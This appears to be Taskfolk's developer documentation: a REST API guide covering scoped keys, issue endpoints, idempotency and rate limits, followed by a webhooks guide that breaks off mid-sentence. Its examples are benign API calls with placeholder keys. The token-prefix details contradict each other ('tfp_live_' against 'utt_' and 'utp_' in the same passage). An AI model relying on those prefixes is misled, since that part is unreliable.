to use the REST API URL: https://taskfolk.ai/docs/how-to-use-the-rest-api Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: API, how-to, integrations, developer Get a Taskfolk API key and use the project management REST API to list, create, and update issues safely, with scopes, idempotency keys, and rate limits explained. You wired an agent up to your board and now you need it to read and write issues without anyone clicking anything. Which means: get a key, hit the **project management REST API** the right way, and not paste a token into a repo or double-create tickets on the first flaky retry. This is the whole path in Taskfolk. Open the Developer console, mint a scoped key, copy it the one time you can, prove it works with a single call, then list, create, and update issues in a real project. Plus the parts most docs skip: making writes safe to retry, reading the rate-limit headers before you hit a wall, and the honest limits (frozen scopes, opaque 401s, an SDK that is not on npm yet). The demo throughout is the workspace `taskfolk` and its project `WEB`, whose board columns are Backlog, To Do, In Progress, In Review, Done. ## Why a project management REST API beats clicking around There is a point where the UI stops being the fastest way to move work. An agent watching a repo wants to open a bug the second CI fails. A nightly script needs to sync tickets from an external system onto the board. A form submission should file a task on its own. All of those want the same thing: a stable, scriptable way to read and write issues. That is what a **project management REST API** gives you, and Taskfolk's is plain HTTP with a bearer token. ![The Developer console Overview tab with the 'Build on Taskfolk' hero, 'Create an API key' and 'Read the API docs' buttons, and quickstart cards for REST API, Node SDK, MCP server, and Skills. Orients the reader to where key creation and the API docs live before they start.](/images/blog/how-to-use-the-rest-api-developer-overview.webp) Learn the shape once. The base URL is `https://taskfolk.ai/api`, and every path is nested under `/v1/workspaces/{slug}/...`. There is no top-level `/v1/issues`. An issue lives inside a project, which lives inside a workspace, and the URL says so: ```http GET /v1/workspaces/taskfolk/projects/WEB/issues Host: taskfolk.ai Authorization: Bearer tfk_live_a1b2... ``` Auth is a bearer token on every request. That is the whole model. REST is not the only way to talk to Taskfolk. There is an MCP server too, which fits better when an LLM agent is doing tool-calling and you want it to discover operations instead of hard-coding URLs. If you are choosing between the two, [MCP or REST API for your agent](/blog/mcp-or-rest-api-for-your-agent) walks the tradeoff, and [why Taskfolk has an MCP server](/blog/why-taskfolk-has-an-mcp-server) covers why both ship. This post is the REST path. You own the HTTP calls, which is what you want for scripts, cron jobs, and syncing external systems. ## Open the Developer console (and why it is under Knowledge) Everything key-related starts in the Developer console. The link sits in the workspace sidebar, labelled **Developer**, and it lands you on `/w/{workspace}/knowledge/developer`. For the demo that is `/w/taskfolk/knowledge/developer`. Note the path, because it trips people up. The console lives under the Knowledge section, so the URL is `/w/taskfolk/knowledge/developer`, not `/w/taskfolk/developer` (that one does not resolve). And `/developer` with no `/w/{workspace}` prefix is a different thing entirely: the public marketing page. If the console does not look like what you expected, check which of those three URLs you actually opened. There is a permission gate here, and it is worth stating plainly. The console needs `workspace.edit_settings`, which means owner or admin. A member or a viewer will not see the Developer link at all, and hitting the URL directly bounces them to the workspace home. So when a teammate says "I can't find it," the first question is their role, not their bookmarks. Across the top runs the tab strip: Overview, API Reference, SDK, Keys, Skills, Webhooks, Apps, Usage, Audit, Marketplace. These are instant client-side tabs, not page loads, and each deep-links with a query param. `?tab=keys` drops you on the Keys tab, `?tab=api-reference` on the reference. Handy for a bookmark, or for pointing a colleague at the exact spot. ## Create an API key scoped to least privilege Go to the Keys tab. If this workspace has never had a key, you get an empty table with the columns you will grow into (Name, Prefix, Scopes, Projects, Rate limit, Last used, Created, Status) and a **New API key** button. ![The Keys tab of the Developer console: the API keys table with prefix, scopes, rate limit, and status columns, plus the New API key button.](/images/blog/how-to-use-the-rest-api-keys-tab.webp) Click **New API key** and the create modal opens. Four things to set. The middle two are where you either do this well or regret it in three months. **Name.** Give it something that tells future-you what it is for. "CI issue bot" beats "key1". When six keys sit in that table, the name is the only thing you have to reason about, so make it carry its weight. **Scopes.** This is the checkbox list, and the console states the model right there: "Broad scopes (read, write, admin) include all specific scopes. Use specific scopes for least-privilege access." So you can grab the coarse `read` or `write`, or pick granular ones like `issues:read`, `issues:write`, `projects:read`. For a bot that reads the board and files tickets, the right answer is `issues:read` plus `issues:write`. Nothing more. If it never touches project settings or members or webhooks, it should not be able to. One design choice to know: the coarse `write` scope holds back the admin-only scopes. Things like `workspaces:write`, `api_keys:*`, `webhooks:*`, `members:write`, `projects:admin`, `forms:write`, and `automations:write` are not included. Those need either the `admin` scope or the explicit granular scope. So `write` is genuinely a "can edit the work, cannot reconfigure the workspace" tier, which is usually exactly what you want for automation. **Project access.** Two radio options: "All workspace projects" or "Selected projects only". For a key that only ever touches `WEB`, pick Selected projects only and check `WEB`. Now if the key leaks, the blast radius is one project instead of the whole workspace. **Expires at (optional).** Set it. A key that dies in 90 days is a key you cannot forget about forever. For a one-off migration script, set it to next week. Here is the rule that makes scoping matter: **scopes and the project allow-list are frozen at creation.** Once the key exists you can edit its name, its rate-limit override, and its expiry. That is all. You cannot add a scope or add a project later. If the bot's job grows, you mint a new key with the wider scope and retire the old one. That is not an annoyance, it is the point. A key's authority is fixed the moment it is born, so nobody can quietly widen it. When the modal looks right, click **Create key**. ## Copy the key once, because you never see it again Submitting does not drop you back to the table. It opens the reveal modal, titled **Save your API key**, and this is the only moment the plaintext key ever exists on screen. The modal says it flat out: "This is the only time you will see this key." Taskfolk keeps only a SHA-256 hash. There is no "show key" button anywhere in the product, no support path to recover it. Close this without copying and the key is gone; you make a new one. So copy it now and put it where a secret belongs. A secrets manager. A CI secret. An environment variable in your deploy config. Not a code comment, not a Slack message to yourself, not committed to a repo. The whole reason the product refuses to show it twice is to push you toward treating it like the credential it is. The modal will not let you leave until you tick **I saved this key somewhere safe.** and click **Done**. That checkbox is friction on purpose, a last chance to actually paste it somewhere before it disappears for good. Workspace keys carry the prefix `tfk_live_`, so a real one reads like `tfk_live_a1b2...`. Recognize that prefix in logs and config: it tells you at a glance this is a workspace-scoped key, as opposed to a personal token, which we get to at the end. ## Authenticate and confirm your key with GET /v1/me Now you have a key. Every request carries it as a bearer token in the Authorization header, against the base URL `https://taskfolk.ai/api`. Your very first call should be `GET /v1/me`. It needs no scope beyond a valid key, and it returns the key's own identity: `keyId`, `name`, `workspaceSlug`, `scopes`, and `expiresAt`. It is the cheapest possible way to confirm the token is wired up right before you go near issues. ```bash curl https://taskfolk.ai/api/v1/me \ -H "Authorization: Bearer tfk_live_a1b2..." ``` A good response: ```json { "keyId": "key_9f2c...", "name": "CI issue bot", "workspaceSlug": "taskfolk", "scopes": ["issues:read", "issues:write"], "expiresAt": "2026-10-15T00:00:00Z" } ``` Make `/v1/me` your sanity check, and here is why it matters more than usual. Every authentication failure in Taskfolk collapses to one opaque 401 with an identical message: "Invalid or missing API key." That one line covers all of these: - missing Authorization header - malformed token - unknown key - revoked key - expired key The API will not tell you which one it is. That is a deliberate security choice (it does not leak whether a given key exists), but it means you cannot debug auth by reading the error. So when something 401s, work it like this instead: ```mermaid flowchart TD A[A request returns 401] --> B[Call GET /v1/me with the same token] B --> C{Does /v1/me succeed} C -->|Yes| D[Token is fine, check scope and path] C -->|No| E[Token problem, fix or mint the key] ``` If `/v1/me` works and a real endpoint 401s, your token is fine and you are looking at a scope or path problem, not an auth problem. One more thing the response quietly tells you. Scopes are intersected with the creator's live workspace role at call time. If an admin created a key with admin-tier scopes and later gets demoted to member, the key loses that tier automatically. The key can never grant more than the person behind it currently has. So a key's real power is "what it was scoped for" AND "what its creator can still do today", whichever is narrower. ## List and read issues in project WEB With `issues:read` on the key, you can read the board. The endpoint is `GET /v1/workspaces/taskfolk/projects/WEB/issues`, and it takes a stack of query filters that map to what you actually search for: - `?status=` by column or category - `?type=` (task, bug, story, epic, subtask) - `?priority=` - `?assignee=`, which accepts a `user_id`, an `email`, or the literal `me` - `?reporter=` - `?label=` - `?milestone=` - `?sprint=` - `?parent=`, a parent issue key, or `none` for top-level only - `?q=`, free-text search They compose. Say you want every bug in the In Progress column assigned to the key's own identity: ```bash curl "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues?type=bug&status=In+Progress&assignee=me" \ -H "Authorization: Bearer tfk_live_a1b2..." ``` Or you are hunting a specific ticket by words in its title. To find the "Timeline + Summary tab" story on the WEB board: ```bash curl "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues?q=Timeline+Summary" \ -H "Authorization: Bearer tfk_live_a1b2..." ``` The list is cursor-paginated, keyset on `createdAt, id` descending, so it stays fast on a large board instead of slowing down page by page. The response carries `pagination.next_cursor`. When it is non-null, pass it back as the cursor on your next request to walk the next page. When it comes back null, you have read everything. One honesty note on `?q=`. Free-text search routes through Typesense and only Typesense. There is no SQL `LIKE` fallback. That is good for speed (a text scan across millions of issues is exactly the query that used to take a minute), but it has a consequence: if the search index is down, `?q=` returns empty instead of falling back to a slow scan. Empty results from a text query are not proof the ticket does not exist. They can also mean search is temporarily unavailable. The structured filters (`status`, `type`, `assignee`, and the rest) do not depend on Typesense, so they keep working regardless. ## Create and update issues over the API Reading is half the job. To write, the key needs `issues:write`. Creating an issue is a POST to the same collection: `POST /v1/workspaces/taskfolk/projects/WEB/issues`. The body takes `{ type, title, description_md?, status?, priority?, assignee?, labels?, parent?, due_at?, estimate_minutes? }` and a good create returns 201 with the new issue, including its freshly assigned key like `WEB-142`. Here is the worked example. File a task called "Timeline + Summary tab" and drop it straight into the To Do column. ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues" \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{ "type": "task", "title": "Timeline + Summary tab", "description_md": "Add the combined Timeline and Summary view to the project shell.", "status": "To Do", "priority": "medium" }' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues", { method: "POST", headers: { Authorization: "Bearer tfk_live_a1b2...", "Content-Type": "application/json", }, body: JSON.stringify({ type: "task", title: "Timeline + Summary tab", description_md: "Add the combined Timeline and Summary view to the project shell.", status: "To Do", priority: "medium", }), } ); const issue = await res.json(); // 201, includes the new key like WEB-142 ``` ```python import requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues", headers={"Authorization": "Bearer tfk_live_a1b2..."}, json={ "type": "task", "title": "Timeline + Summary tab", "description_md": "Add the combined Timeline and Summary view to the project shell.", "status": "To Do", "priority": "medium", }, ) issue = res.json() # 201, includes the new key like WEB-142 ``` Updating is a PATCH to the individual issue: `PATCH /v1/workspaces/taskfolk/projects/WEB/issues/WEB-142`. It is a sparse merge, and that is the part to internalize. You send only the fields you are changing, and everything you omit stays exactly as it was. To bump that ticket to high priority and hand it to someone, you send those two fields and nothing else: ```bash curl -X PATCH "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-142" \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{ "priority": "high", "assignee": "sara@example.com" }' ``` No re-sending the title or description. Sparse PATCH means you never blank a field just because you left it out. A few more operations round out the surface: - `GET .../issues/WEB-142` fetches a single issue. Archived issues still resolve on read, so a link to an old ticket does not 404. - `DELETE .../issues/WEB-142` is a soft archive, not a hard delete. It sets `archived_at` and fires an `issue.archived` webhook. The issue is recoverable, and restore is a separate endpoint (delete and restore are intentionally not the same call). - `POST .../issues/WEB-142/transition` is the dedicated way to move status through the workflow, cleaner than a raw status PATCH when the project has transition rules. And for bulk import, `POST .../issues/bulk` exists. It returns a 207-style multi-status envelope, so a batch with three valid rows and one malformed one does not fail wholesale. You get a per-item result and retry only the rows that failed. ## Make writes safe: idempotency keys and rate limits Two headers separate a toy script from something you would trust in production. Both matter more the moment an agent, not a human, is driving the calls. The first is **Idempotency-Key**. Put it on any mutating request (POST, PUT, PATCH, DELETE) and if that exact request gets retried with the same key, Taskfolk returns the original result instead of performing the write again. This is the fix for the classic double-create. Your agent POSTs a new issue, the network hiccups before the response comes back, the agent retries, and without idempotency you now own two identical "Timeline + Summary tab" tickets. With an idempotency key, the retry returns the first issue, not a second one. ```mermaid sequenceDiagram participant A as Agent participant U as Taskfolk API A->>U: POST issue with Idempotency Key U->>U: creates WEB 142 U--xA: response lost in transit A->>U: retry, same Idempotency Key U-->>A: 201 with the original WEB 142 ``` ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues" \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -H "Idempotency-Key: web-timeline-tab-2026-07-15" \ -d '{ "type": "task", "title": "Timeline + Summary tab", "status": "To Do" }' ``` Use a key that is stable for the logical operation. If it represents "the task for this CI run" or "this row from the import," derive the idempotency key from that identity so a retry of the same logical action reuses it. Flaky networks and eager agent retry loops are exactly the conditions this exists for. The second is rate limiting. Every response carries three headers: `X-RateLimit-Limit`, `X-RateLimit-Remaining`, and `X-RateLimit-Reset` (a unix-seconds timestamp for when the window resets). The default budget is 600 requests per minute unless a per-key override is set, and that override can be anything from 1 to 100,000. Read `X-RateLimit-Remaining` and slow down as it approaches zero instead of hammering until you get cut off. If you do blow past the limit you get a 429, and the response includes a `Retry-After` header telling you how many seconds to wait. Well-behaved clients honor it. The pattern is simple: on a 429, sleep for `Retry-After` seconds, then retry, ideally with the idempotency key still attached so the retry stays safe. If you are wiring this into an autonomous agent that loops on the board, the retry-and-backoff discipline is most of the game. [Let AI agents run your board over the REST API](/blog/let-ai-agents-run-your-board-over-the-rest-api) goes deeper on the pattern. ## Browse the full spec and generate a typed client You do not have to memorize any of these endpoints. The API Reference tab embeds the live docs, generated straight from the OpenAPI spec at `/api/v1/openapi.json`, so it never drifts from what the server actually does. Two buttons on it: **Raw OpenAPI** to grab the spec itself, and **Open in new tab** to pop the reference full-screen. The reference at `/api/v1/reference` is public and needs no auth, so you can browse every v1 endpoint and its request and response shapes before you have even created a key. It is a fine place to start reading. Now the honest part about tooling. The first-party `@taskfolk/sdk-node` package is marked **Coming soon**. It is not on npm today. So do not go looking for `npm install @taskfolk/sdk-node`; it will not resolve. What you can do right now is generate a typed TypeScript client from the OpenAPI spec with a tool like `openapi-typescript`: ```bash npx openapi-typescript https://taskfolk.ai/api/v1/openapi.json -o src/taskfolk-api.d.ts ``` That gives you typed request and response shapes for every endpoint, which is most of what an SDK buys you, and it stays in sync because it is generated from the same spec the server publishes. The Webhooks tab is the push counterpart to all this polling. Instead of asking "any new issues?" on a loop, you register an https-only endpoint, pick your event types, and Taskfolk POSTs to you when something happens: `issue.created`, `issue.updated`, `issue.archived`, the `comment.*` events, and more. ![The Webhooks tab of the Developer console in its empty state, with the 'New webhook' button and an explanation of event delivery. This is where you register an endpoint so Taskfolk pushes events to you instead of you polling.](/images/blog/how-to-use-webhooks-webhooks-empty.webp) Each delivery is signed Stripe-style with an `X-Taskfolk-Signature: t=, v1=` header so you can verify it really came from Taskfolk, and the signing secret is shown once at creation (same copy-it-now rule as keys). For anything close to real-time, webhooks beat polling on both latency and rate-limit budget. ## Personal access tokens, revocation, and the limits worth knowing Workspace keys are the right tool for a bot that belongs to one workspace. But sometimes you are a human writing a script that touches several of your own workspaces, and minting a separate key in each one is tedious. That is what personal access tokens are for. PATs live at `/me/tokens`, linked from the Keys tab as **Manage tokens**. A PAT works across all your workspaces, carries the prefix `tfp_live_` (note `utt_`, not the workspace key's `utp_`), and inherits your membership in each workspace you belong to. There is no project allow-list on a PAT (it is workspace-wide by nature) and it uses the global default rate limit. You can hold up to 25 active tokens. So the choice comes down to this: | | Workspace key | Personal access token | |---|---|---| | Prefix | `tfk_live_` | `tfp_live_` | | Reach | one workspace | every workspace you belong to | | Scopes | frozen at creation | follows your live membership | | Project allow-list | optional, frozen at creation | none | | Rate limit | 600/min default, per-key override | global default | | Best for | a bot or CI automation | your own cross-workspace scripts | For a CI bot, use a workspace key. For your personal migration script that hops between two workspaces you own, use a PAT. Revoking is immediate and permanent. Hit **Revoke key** on any key and it stops working right away; there is no undo. The revocation is soft in the database (it records `revoked_at` and a reason for the audit trail) but for your purposes the key is dead the instant you click. This is your kill switch if a key leaks. ![The Usage tab of the Developer console showing the API request analytics for a workspace. Once a key is live, this is where you watch its call volume and spot a runaway script.](/images/blog/how-to-track-api-usage-and-audit-logs-usage-tab.webp) A few last honest limits to carry with you: - **Scopes and projects are immutable.** Changing a key's privileges means creating a new key. Only name, rate-limit, and expiry are editable after creation. - **Copy-once is real.** The plaintext key appears exactly once, at creation. Only a hash is stored. Plan for it. - **401s are opaque.** Every auth failure returns the same "Invalid or missing API key." message. Use `/v1/me` to diagnose, not the error text. - **The `utp_test_` prefix is reserved but not live.** There is no sandbox key mode today. Do not build around one. - **Usage and Audit tabs are best-effort.** That data (including the Overview's recent-activity feed) lives in ClickHouse. If it is unreachable in your environment, those tabs render an empty state, so they can lag or look blank. Do not read a blank Usage tab as proof nothing happened. If you want the bigger picture of connecting an agent end to end, not just the HTTP calls but the setup around them, [how to connect an AI agent](/docs/how-to-connect-an-ai-agent) covers it. That is the full loop: scope a key, copy it once, confirm it with `/v1/me`, then read and write issues safely with idempotency keys and an eye on the rate-limit headers. Open the Developer console under `/w/{workspace}/knowledge/developer` and create your first key when you are ready to wire it up. --- # How to use webhooks URL: https://taskfolk.ai/docs/how-to-use-webhooks Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: API, integrations, how-to, developer Set up outbound webhooks in Taskfolk: create one, verify the HMAC signature (sha256-of-secret gotcha), handle at-most-once delivery, and pipe board events to Slack. Your board changes and nothing outside Taskfolk knows about it. Slack stays quiet. The analytics store goes stale. The on-call rotation never hears that WEB-142 flipped to In Review, so the deploy that was waiting on it just sits there until someone happens to look. That gap is what project management webhooks close. When an issue moves, a comment lands, or a member joins, Taskfolk can push a signed HTTP POST to a URL you control, the instant it happens, so the rest of your stack reacts in real time instead of on the next poll. This guide walks through Taskfolk's in-product webhooks end to end: creating one, subscribing to the right events, verifying the signature correctly (there is one genuinely odd part), and writing a consumer that stays correct given how Taskfolk actually delivers. At the end we wire board events straight into a Slack channel with no code at all. One scoping note before we start. This is the Developer > Webhooks tab inside a workspace, the outbound push side. If you want the read side (fetching issues, comments, docs on demand), that lives in the [REST API guide](/docs/how-to-use-the-rest-api). Webhooks are the same resources, pushed to you instead of pulled by you. ## Why project management webhooks beat polling the API Here is the shape of the problem every integration eventually hits. Your board is the system of record for what work is in flight, and three or four other tools need to know when it changes. The obvious approach is to poll: hit the REST API on a timer, diff the result against what you saw last time, act on the difference. It works, sort of. But you learn about a change up to a minute late, most of your polls return nothing new, and you miss the exact moment the thing happened, which is often the only part you cared about. Webhooks flip the direction. Instead of you asking "anything new?" on a schedule, Taskfolk tells you the second something happens. Same resources as the REST API, same JSON shapes, delivered on the event rather than fetched on a clock. Make it concrete. WEB-142, "Timeline + Summary tab," is sitting in the In Review column of your WEB project. A reviewer approves it and drags it to Done. With polling, your Slack channel and your deploy pipeline find out whenever the next poll runs, could be seconds, could be nearly a minute. With a webhook, both get a signed POST within about a second of the drag landing, and the full issue is right there in the body. The pipeline can start; the channel gets its line of text. No timer, no diffing, no lag. That is the whole case. Now let's build one. ## Find the Webhooks tab (and why it's owner-only) Everything lives under the Developer console. Go to `/w//knowledge/developer` and switch to the Webhooks tab, or jump straight there with `?tab=webhooks`. API keys, skills, webhooks, and usage for the workspace all sit together in this one area. ![The Developer console inside a workspace, where the API keys, Skills, Webhooks, and Usage tabs live side by side.](/images/blog/how-to-use-the-rest-api-developer-overview.webp) Before you get excited, a permissions check. The entire Developer panel gates on the `workspace.edit_settings` permission, which in practice means owners and admins. If you are a plain member or a viewer, you will not see any of this: the panel redirects you to the workspace home, and the Webhooks tab has its own owner-only state that reads "Webhooks are owner-only" with the line "Ask a workspace owner or admin to manage outbound webhooks." That is not a bug to route around. An outbound webhook carries a signing secret and can stream workspace activity to an external URL, so creating one is deliberately held to the people who own the workspace's settings. Assuming you have the role, the first time you land here you get the empty state: "No webhooks yet" with "Add an endpoint to receive signed event notifications." and an Add webhook button. That button is your entry point. ![The Webhooks tab under the Developer console showing the "No webhooks yet" empty state with an Add webhook button, establishing where the feature lives and the entry point for creating your first endpoint.](/images/blog/how-to-use-webhooks-webhooks-empty.webp) Once you have one or more webhooks, this same view is a table instead. Four columns: Endpoint (the URL you deliver to), Events (which types it is subscribed to), Status (an Enabled or Disabled badge), and Last delivery (the HTTP status code of the most recent attempt plus a relative time, or "Never" if nothing has fired yet). The table pages at 30 rows with a Load more button, so a workspace with a lot of integrations does not turn into an endless scroll. ## Create a webhook and pick your events Click Add webhook. The form is short, and it validates as you fill it. ![The Add webhook modal: the https-only Endpoint URL field, the Slack auto-format tip, and the grid of 14 event-type checkboxes.](/images/blog/how-to-use-webhooks-create-modal.webp) First, the Endpoint URL. The field is labelled "Endpoint URL (https only)" with a placeholder like `https://example.com/hooks/taskfolk`. HTTPS is required: the form checks that the value is non-empty and starts with `https://`, and if you leave it blank or paste an `http://` URL you get "Enter an endpoint URL" or "Endpoint must use https://" respectively. There is no way around the HTTPS rule, and there is a good reason for it that we get to below. Then the events. You get a grid of 14 named checkboxes, one per event type: - **Issue events:** `issue.created`, `issue.updated`, `issue.archived`, `issue.restored` - **Comment events:** `comment.created`, `comment.updated`, `comment.deleted` - **Doc events:** `doc.created`, `doc.updated`, `doc.archived` - **Member events:** `member.added`, `member.removed`, `member.role_changed` - **Workspace events:** `workspace.updated` As you tick boxes a "{n} selected" counter updates, and you need at least one or the form refuses with "Select at least one event." When you are set, hit Create webhook (it shows "Creating..." while it works). If you would rather script it, the same thing is one call against the [REST API](/docs/how-to-use-the-rest-api), with an API key that has the `webhooks:write` scope: ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/taskfolk/webhooks" \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{ "url": "https://example.com/hooks/taskfolk", "event_types": ["issue.created", "issue.updated"] }' ``` ```javascript const res = await fetch("https://taskfolk.ai/api/v1/workspaces/taskfolk/webhooks", { method: "POST", headers: { Authorization: "Bearer tfk_live_a1b2...", "Content-Type": "application/json", }, body: JSON.stringify({ url: "https://example.com/hooks/taskfolk", event_types: ["issue.created", "issue.updated"], }), }); const webhook = await res.json(); // 201; includes "secret" exactly once ``` ```python import requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/taskfolk/webhooks", headers={"Authorization": "Bearer tfk_live_a1b2..."}, json={ "url": "https://example.com/hooks/taskfolk", "event_types": ["issue.created", "issue.updated"], }, ) webhook = res.json() # 201; includes "secret" exactly once ``` The API path accepts one thing the form does not: `"event_types": ["*"]`, the wildcard that subscribes to every event type. The create response is also the one and only place the API returns the plaintext `secret`, which matters in the next section. My advice: subscribe narrowly. Checking everything is tempting, but every event you do not act on is just noise arriving at your endpoint, more to filter, more to log, one more shape your consumer can trip over. If all you want is board movement feeding Slack, `issue.updated` (plus maybe `issue.created`) is the entire story. Add more only when you have a concrete reason to. Now the honest part. The `issue.*` and `comment.*` events are the reliably-wired live triggers today. They fire from the real write paths (issue create, update, archive, restore, status transition, and comment create, update, delete), whether the change came through the REST API, a bulk action, or someone clicking around the UI. The `doc.*`, `member.*`, and `workspace.updated` types are in the catalogue and you can subscribe to them, but before you build anything that depends on one of them firing, make a real change and confirm the delivery actually lands. Treat the issue and comment events as load-bearing and the rest as verify-first. You might also spot an "all events" badge somewhere. That is the API wildcard above surfacing in the UI, not a checkbox on this form. The create modal only offers the 14 named types, so do not go hunting for an "All events" tickbox. It is not here. ## Copy the signing secret (you only get it once) The moment you click Create webhook, Taskfolk shows a "Webhook created" reveal step, and this is the one screen you cannot skim. It shows the signing secret: a token prefixed with `whsec_`, with a Copy button beside it. This secret is how you prove that an incoming delivery genuinely came from Taskfolk and was not forged by someone who guessed your endpoint URL. You get it exactly once. After this screen, Taskfolk only ever shows you an 8-character "Secret prefix" for identification. The full secret is stored as a hash on their side and can never be displayed again. To stop you flying past it, there is a mandatory checkbox: "I have copied the signing secret and stored it safely." The Done button stays disabled until you tick it. That friction is on purpose. ![The one-time Webhook created dialog showing the whsec signing secret, the copy button, and the mandatory confirmation that you saved it](/images/blog/how-to-use-webhooks-secret-reveal.webp) So do the safe thing right now, before Done. Copy the secret and put it where your consumer reads it: a secrets manager, or at a minimum an environment variable on the service that receives the webhook. Do not paste it into a chat, a ticket, or a code comment. If you lose it there is no recovery path. You rotate the secret and update your consumer with the new one (covered later). Storing it properly here saves you that whole round trip. ## What a signed delivery actually looks like Once the webhook is live, every subscribed event becomes an HTTP POST to your endpoint. Knowing the exact shape of that request makes the consumer easy to write. ```mermaid sequenceDiagram participant B as Board participant U as Taskfolk participant C as Your endpoint B->>U: WEB-142 moves to Done U->>C: POST signed envelope C->>C: Verify signature C-->>U: 2xx within 15s Note over U,C: One attempt, no retry ``` On the wire, a delivery looks like this: ```http POST /hooks/taskfolk HTTP/1.1 Host: example.com Content-Type: application/json User-Agent: Taskfolk-Webhook/1.0 X-Taskfolk-Event: issue.updated X-Taskfolk-Delivery: 0197f3a0-6c2e-7b31-a3d2-8f4e5b6c7d8e X-Taskfolk-Signature: t=1752573120, v1=5f8a3c... ``` What each header means: - **`X-Taskfolk-Signature`** formatted as `t=, v1=` (note the space after the comma). `t` is the Unix timestamp when Taskfolk signed the request; `v1` is the HMAC hex digest you verify against. - **`X-Taskfolk-Event`** is the event type, for example `issue.updated`. - **`X-Taskfolk-Delivery`** is a UUID that uniquely identifies this delivery. - **`User-Agent`** is `Taskfolk-Webhook/1.0`. The body is a JSON envelope with a stable shape: ```json { "id": "", "event": "issue.updated", "workspace": "", "created_at": "2026-07-15T10:32:00Z", "data": { "...the full resource..." } } ``` Two details worth burning into memory. First, `id` equals the `X-Taskfolk-Delivery` header value, which hands you a natural idempotency key (hold that thought, it matters below). Second, and this is the one that saves real work: `data` is the full REST resource for the affected entity, the same object you would get from a REST GET on that resource. When WEB-142 moves to Done, the `data` object is the complete issue: key, title, status, assignee, all of it. You do not need a second API call to go fetch the details. The webhook already carried them. If you know the [REST API's](/docs/how-to-use-the-rest-api) issue shape, you already know this payload. A few delivery constraints to design around: Taskfolk waits up to 15 seconds for your endpoint to respond, treats any 2xx status as success, and captures your response body up to a 4 KB cap for the delivery log. So respond fast, respond 2xx, and push the heavy processing to after you have acknowledged, not before. ## Verify the signature (the sha256-of-secret gotcha) Read this section twice. Getting it wrong means every delivery fails your check silently, and you will swear the webhook is broken when it is your verifier that is off by one step. The recipe. To verify a delivery: 1. Read the `X-Taskfolk-Signature` header and split it into `t` (the timestamp) and `v1` (the hex signature). 2. Take the **raw request body**, exactly as bytes, before any JSON parse and re-serialize. Reordering keys or reformatting whitespace changes the signature and breaks the check. 3. Build the signed string as `.`: the timestamp, a literal dot, then the raw body. 4. Compute `HMAC-SHA256` over that string, using **`sha256(secret)` as the key**. That is the hex SHA-256 hash of your signing secret, not the plaintext secret. 5. Constant-time compare your computed hex digest against the `v1` value from the header. Step 4 is the gotcha, and it is genuinely unusual. Most webhook systems HMAC with the raw secret. Taskfolk keys the HMAC with the SHA-256 hash of the secret. Feed the plaintext `whsec_...` string in as the key and your digest never matches, and you get zero valid deliveries with no error telling you why. Hash the secret first, use the hex hash string as the key. In Node, the whole verifier is a few lines: ```javascript import { createHash, createHmac, timingSafeEqual } from "node:crypto"; function verifyTaskfolkSignature(rawBody, signatureHeader, secret) { const t = signatureHeader.match(/t=(\d+)/)?.[1]; const v1 = signatureHeader.match(/v1=([0-9a-f]+)/)?.[1]; if (!t || !v1) return false; const key = createHash("sha256").update(secret).digest("hex"); // the gotcha const expected = createHmac("sha256", key) .update(`${t}.${rawBody}`) .digest("hex"); const a = Buffer.from(expected); const b = Buffer.from(v1); return a.length === b.length && timingSafeEqual(a, b); } ``` ```python import hashlib import hmac def verify_taskfolk_signature(raw_body: bytes, signature_header: str, secret: str) -> bool: parts = dict(p.strip().split("=", 1) for p in signature_header.split(",")) t, v1 = parts.get("t"), parts.get("v1") if not t or not v1: return False key = hashlib.sha256(secret.encode()).hexdigest() # the gotcha signed = f"{t}.".encode() + raw_body expected = hmac.new(key.encode(), signed, hashlib.sha256).hexdigest() return hmac.compare_digest(expected, v1) ``` Two more safety notes. Both snippets end with a constant-time comparison, not `==`, so you do not leak timing information; keep that in whatever language you port this to. And consider rejecting deliveries whose `t` is more than a few minutes old. The timestamp sits inside the signed string precisely so you can defend against replay. Get this function right once, test it (next section), and you never think about it again. ## Test your endpoint before you trust it You do not have to move a real ticket to check your consumer. Taskfolk ships a built-in test delivery. Click a webhook's row in the table to open its details drawer. Inside you see the endpoint URL with an Enabled badge, the event badges for what it is subscribed to, the Secret prefix (those 8 characters, for identification), and an action row: Send test, Rotate secret, Delete. Send test POSTs a synthetic `webhook.test` event straight to your endpoint and reports the HTTP status your server returned in a toast, like "Test sent (200)." That one click confirms the whole chain: your endpoint is reachable, your signature verifier accepts a real Taskfolk-signed request, and you are returning a 2xx. If the toast shows a non-2xx or an error, you caught the problem before any real event depended on it. ![A webhook's detail view with Send test, Rotate secret, and Delete controls above a Recent deliveries table](/images/blog/how-to-use-webhooks-details-drawer.webp) The same trigger exists on the API, handy in a deploy script: ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/taskfolk/webhooks//test" \ -H "Authorization: Bearer tfk_live_a1b2..." ``` One constraint: you cannot test a disabled webhook. If it is switched off, the button is disabled and you see "Enable the webhook before sending a test." Enable it first, then test. Make this a habit. Every time you touch the verifier or redeploy the consumer, hit Send test and watch for the 200. It is the cheapest confidence you will buy all day. ## The honest limits: no retry, no replay, reconcile via REST This is the most important section in the guide, because it is where a naive consumer quietly loses data. Taskfolk's delivery is deliberately at-most-once and best-effort. The product's own note in the drawer says it flat out: "Deliveries are at-most-once and best-effort: there is no automatic retry. Reconcile state via the REST API, and use Send test to validate your endpoint." Read that literally. If a delivery POST fails, because your endpoint is down, or times out past the 15 seconds, or returns a 500, Taskfolk logs the failure 